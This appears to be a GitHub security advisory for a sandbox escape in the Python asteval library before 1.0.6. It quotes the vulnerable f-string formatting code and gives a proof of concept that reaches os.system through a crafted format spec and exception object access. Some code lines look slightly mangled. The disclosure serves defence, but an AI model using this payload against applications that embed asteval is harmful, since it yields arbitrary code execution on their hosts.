GHSA-3wwr-3g9f-9gc7 ASTEVAL Allows Maliciously Crafted Format Strings to Lead to Sandbox Escape

• PyPI asteval: < 1.0.6 → fixed in 1.0.6

Summary If an attacker can control the input to the `asteval` library, they can bypass asteval's restrictions and execute arbitrary Python code in the context of the application using the library. Details The vulnerability is rooted in how `asteval` performs handling of `FormattedValue` AST nodes. In particular, the `on_formattedvalue` value uses the dangerous format method of the str class, as shown in the vulnerable code snippet below: ```py def on_formattedvalue(self, node): # ('value', 'conversion', 'format_spec') "formatting used in f-strings" val = self.run(node.value) fstring_converters = {115: str, 114: repr, 97: ascii} if node.conversion in fstring_converters: val = fstring_convertersnode.conversion fmt = '{__fstring__}' if node.format_spec is not None: fmt = f'{{__fstring__:{self.run(node.format_spec)}}}' return fmt.format(__fstring__=val) ``` The code above allows an attacker to manipulate the value of the string used in the dangerous call `fmt.format(__fstring__=val)`. This vulnerability can be exploited to access protected attributes by intentionally triggering an `AttributeError` exception. The attacker can then catch the exception and use its `obj` attribute to gain arbitrary access to sensitive or protected object properties. PoC The following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the `whoami` command on the host machine: ```py from asteval import Interpreter aeval = Interpreter() code = """ def lender(): ga def pwn(): try: f"{dict.mro()[1]:'\\x7B__fstring__.__getattribute__.s\\x7D'}" except Exception as ga: ga = ga.obj sub = ga(dict.mro()[1],"__subclasses__")() importer = None for i in sub: if "BuiltinImporter" in str(i): importer = i.load_module break os = importer("os") os.system("whoami") pre commit cfb57f0beebe0dc0520a1fbabc35e66060c7ea71, it was required to modify the AST to make this work using the code below pwn.body[0].handlers[0].name = lender.body[0].value # need to make it an identifier so node_assign works pwn() """ aeval(code) ```